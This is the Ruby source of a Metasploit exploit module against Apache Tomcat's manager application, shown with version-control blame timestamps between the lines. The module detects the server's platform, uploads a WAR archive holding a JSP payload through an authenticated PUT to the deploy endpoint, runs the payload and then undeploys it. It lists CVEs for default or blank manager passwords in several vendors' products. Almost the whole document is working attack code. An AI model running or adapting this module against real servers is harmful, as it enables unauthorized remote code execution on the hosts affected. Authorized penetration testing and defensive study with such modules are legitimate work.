2010-02-18 18:18:43 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2010-07-12 23:25:31 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
|
|
|
|
|
2010-02-18 18:18:43 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2010-09-20 15:59:46 +00:00
|
|
|
include Msf::Exploit::EXE
|
2010-02-18 18:18:43 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2010-12-14 17:26:44 +00:00
|
|
|
'Name' => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
|
2010-02-18 18:18:43 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module can be used to execute a payload on Apache Tomcat servers that
|
|
|
|
have an exposed "manager" application. The payload is uploaded as a WAR archive
|
|
|
|
containing a jsp application using a PUT request.
|
|
|
|
|
|
|
|
The manager application can also be abused using /manager/html/upload, but that
|
|
|
|
method is not implemented in this module.
|
|
|
|
},
|
|
|
|
'Author' => [ 'jduck' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
# There is no single vulnerability associated with deployment functionality.
|
|
|
|
# Instead, the focus has been on insecure/blank/hardcoded default passwords.
|
|
|
|
|
|
|
|
# The following references refer to HP Operations Manager
|
|
|
|
[ 'CVE', '2009-3843' ],
|
|
|
|
[ 'OSVDB', '60317' ],
|
2010-09-20 08:06:27 +00:00
|
|
|
[ 'CVE', '2009-4189' ],
|
2010-07-01 19:42:11 +00:00
|
|
|
[ 'OSVDB', '60670' ],
|
|
|
|
|
|
|
|
# HP Operations Dashboard
|
|
|
|
[ 'CVE', '2009-4188' ],
|
|
|
|
|
2010-10-19 14:28:52 +00:00
|
|
|
# IBM Cognos Express Default user/pass
|
|
|
|
[ 'BID', '38084' ],
|
|
|
|
[ 'CVE', '2010-0557' ],
|
|
|
|
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ],
|
|
|
|
|
|
|
|
# IBM Rational Quality Manager and Test Lab Manager
|
2010-11-30 20:19:18 +00:00
|
|
|
[ 'CVE', '2010-4094' ],
|
2010-10-19 14:28:52 +00:00
|
|
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ],
|
|
|
|
|
2010-07-01 19:42:11 +00:00
|
|
|
# 'admin' password is blank in default Windows installer
|
|
|
|
[ 'CVE', '2009-3548' ],
|
|
|
|
[ 'OSVDB', '60176' ],
|
|
|
|
[ 'BID', '36954' ],
|
2010-02-18 18:18:43 +00:00
|
|
|
|
|
|
|
# tomcat docs
|
|
|
|
[ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
|
|
|
|
],
|
2010-10-22 10:19:51 +00:00
|
|
|
'Platform' => [ 'java', 'win', 'linux' ], # others?
|
2010-02-18 18:18:43 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-02-20 01:14:39 +00:00
|
|
|
#
|
|
|
|
# detect via /manager/serverinfo
|
|
|
|
#
|
2010-02-18 18:18:43 +00:00
|
|
|
[ 'Automatic', { } ],
|
2010-02-20 01:14:39 +00:00
|
|
|
|
2010-10-22 20:07:18 +00:00
|
|
|
[ 'Java Universal',
|
2010-10-22 10:19:51 +00:00
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Platform' => 'java'
|
|
|
|
},
|
|
|
|
],
|
|
|
|
|
2010-02-20 01:14:39 +00:00
|
|
|
#
|
|
|
|
# Platform specific targets only
|
|
|
|
#
|
|
|
|
[ 'Windows Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'win'
|
|
|
|
},
|
2010-03-19 02:13:02 +00:00
|
|
|
],
|
|
|
|
|
2010-11-11 23:01:35 +00:00
|
|
|
[ 'Linux x86',
|
2010-03-19 02:13:02 +00:00
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'linux'
|
|
|
|
},
|
|
|
|
],
|
2010-02-18 18:18:43 +00:00
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Nov 09 2009'))
|
2010-02-18 18:18:43 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2010-02-26 22:14:58 +00:00
|
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
|
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
2010-06-12 09:37:21 +00:00
|
|
|
# /cognos_express/manager/ for Cognos Express (19300)
|
2010-02-18 18:18:43 +00:00
|
|
|
OptString.new('PATH', [ true, "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2010-02-20 01:14:39 +00:00
|
|
|
def auto_target
|
|
|
|
print_status("Attempting to automatically select a target...")
|
|
|
|
|
2010-10-19 22:36:59 +00:00
|
|
|
res = query_serverinfo()
|
2010-10-22 21:32:12 +00:00
|
|
|
return nil if not res
|
2010-02-20 01:14:39 +00:00
|
|
|
|
2010-10-19 22:36:59 +00:00
|
|
|
plat = detect_platform(res.body)
|
|
|
|
arch = detect_arch(res.body)
|
2010-02-20 01:14:39 +00:00
|
|
|
|
2010-03-05 17:35:18 +00:00
|
|
|
# No arch or platform found?
|
|
|
|
if (not arch or not plat)
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
2010-02-20 01:14:39 +00:00
|
|
|
# see if we have a match
|
|
|
|
targets.each { |t|
|
|
|
|
if (t['Platform'] == plat) and (t['Arch'] == arch)
|
|
|
|
return t
|
|
|
|
end
|
|
|
|
}
|
|
|
|
|
|
|
|
# no matching target found
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2010-02-18 18:18:43 +00:00
|
|
|
def exploit
|
2010-03-31 22:29:47 +00:00
|
|
|
datastore['BasicAuthUser'] = datastore['USERNAME']
|
|
|
|
datastore['BasicAuthPass'] = datastore['PASSWORD']
|
2010-02-18 18:18:43 +00:00
|
|
|
|
2010-02-20 01:14:39 +00:00
|
|
|
mytarget = target
|
|
|
|
if (target.name =~ /Automatic/)
|
|
|
|
mytarget = auto_target
|
|
|
|
if (not mytarget)
|
2010-04-30 08:40:19 +00:00
|
|
|
raise RuntimeError, "Unable to automatically select a target"
|
2010-02-20 01:14:39 +00:00
|
|
|
end
|
|
|
|
print_status("Automatically selected target \"#{mytarget.name}\"")
|
|
|
|
else
|
|
|
|
print_status("Using manually select target \"#{mytarget.name}\"")
|
|
|
|
end
|
|
|
|
|
2010-10-19 22:36:59 +00:00
|
|
|
# We must regenerate the payload in case our auto-magic changed something.
|
|
|
|
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
|
|
|
|
|
2010-02-18 18:18:43 +00:00
|
|
|
# Generate the WAR containing the EXE containing the payload
|
|
|
|
jsp_name = rand_text_alphanumeric(4+rand(32-4))
|
|
|
|
app_base = rand_text_alphanumeric(4+rand(32-4))
|
|
|
|
|
2010-10-19 22:36:59 +00:00
|
|
|
# Generate the WAR containing the payload
|
2010-11-11 23:01:35 +00:00
|
|
|
war = p.encoded_war({
|
|
|
|
:app_name => app_base,
|
|
|
|
:jsp_name => jsp_name,
|
|
|
|
:arch => mytarget.arch,
|
|
|
|
:platform => mytarget.platform
|
|
|
|
}).to_s
|
2010-10-14 21:26:05 +00:00
|
|
|
|
2010-10-19 22:36:59 +00:00
|
|
|
query_str = "?path=/" + app_base
|
2010-10-14 21:26:05 +00:00
|
|
|
|
2010-02-18 18:18:43 +00:00
|
|
|
#
|
|
|
|
# UPLOAD
|
|
|
|
#
|
|
|
|
path_tmp = datastore['PATH'] + "/deploy" + query_str
|
2010-02-24 16:53:55 +00:00
|
|
|
print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
|
2010-02-18 18:18:43 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => path_tmp,
|
|
|
|
'method' => 'PUT',
|
|
|
|
'ctype' => 'application/octet-stream',
|
|
|
|
'data' => war,
|
|
|
|
}, 20)
|
|
|
|
if (! res)
|
|
|
|
raise RuntimeError, "Upload failed on #{path_tmp} [No Response]"
|
|
|
|
end
|
|
|
|
if (res.code < 200 or res.code >= 300)
|
|
|
|
case res.code
|
|
|
|
when 401
|
|
|
|
print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
|
|
|
end
|
|
|
|
raise RuntimeError, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]"
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# EXECUTE
|
|
|
|
#
|
2010-03-19 02:13:02 +00:00
|
|
|
jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
|
|
|
|
print_status("Executing #{jsp_path}...")
|
2010-02-18 18:18:43 +00:00
|
|
|
res = send_request_cgi({
|
2010-03-19 02:13:02 +00:00
|
|
|
'uri' => jsp_path,
|
2010-02-18 18:18:43 +00:00
|
|
|
'method' => 'GET'
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if (! res)
|
|
|
|
print_error("Execution failed on #{app_base} [No Response]")
|
|
|
|
elsif (res.code < 200 or res.code >= 300)
|
|
|
|
print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
|
2011-07-15 15:33:35 +00:00
|
|
|
vprint_status(res.body)
|
2010-02-18 18:18:43 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# DELETE
|
|
|
|
#
|
|
|
|
path_tmp = datastore['PATH'] + "/undeploy" + query_str
|
|
|
|
print_status("Undeploying #{app_base} ...")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => path_tmp,
|
|
|
|
'method' => 'GET'
|
|
|
|
}, 20)
|
|
|
|
if (! res)
|
|
|
|
print_error("WARNING: Undeployment failed on #{path} [No Response]")
|
|
|
|
elsif (res.code < 200 or res.code >= 300)
|
|
|
|
print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
|
|
|
|
end
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
2010-10-19 22:36:59 +00:00
|
|
|
def query_serverinfo()
|
|
|
|
path = datastore['PATH'] + '/serverinfo'
|
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'uri' => path
|
|
|
|
}, 10)
|
|
|
|
|
|
|
|
if (not res) or (res.code != 200)
|
|
|
|
print_error("Failed: Error requesting #{path}")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
2011-07-15 15:33:35 +00:00
|
|
|
vprint_status(res.body)
|
2010-10-19 22:36:59 +00:00
|
|
|
|
|
|
|
return res
|
|
|
|
end
|
|
|
|
|
|
|
|
def detect_platform(body = nil)
|
|
|
|
if not body
|
|
|
|
res = query_serverinfo()
|
|
|
|
return nil if not res
|
|
|
|
body = res.body
|
|
|
|
end
|
|
|
|
|
|
|
|
body.each_line { |ln|
|
|
|
|
ln.chomp!
|
|
|
|
|
|
|
|
case ln
|
|
|
|
when /OS Name: /
|
|
|
|
os = ln.split(':')[1]
|
|
|
|
case os
|
|
|
|
when /Windows/
|
|
|
|
return 'win'
|
|
|
|
|
|
|
|
when /Linux/
|
|
|
|
return 'linux'
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|
|
|
|
}
|
|
|
|
end
|
|
|
|
|
|
|
|
def detect_arch(body)
|
|
|
|
body.each_line { |ln|
|
|
|
|
ln.chomp!
|
|
|
|
|
|
|
|
case ln
|
|
|
|
when /OS Architecture: /
|
|
|
|
ar = ln.split(':')[1].strip
|
|
|
|
case ar
|
|
|
|
when 'x86', 'i386', 'i686'
|
|
|
|
return ARCH_X86
|
|
|
|
|
|
|
|
when 'x86_64', 'amd64'
|
2010-10-27 17:21:54 +00:00
|
|
|
return ARCH_X86
|
2010-10-19 22:36:59 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
end
|
|
|
|
}
|
|
|
|
end
|
|
|
|
|
2010-02-18 18:18:43 +00:00
|
|
|
end
|
2010-04-05 23:34:10 +00:00
|
|
|
|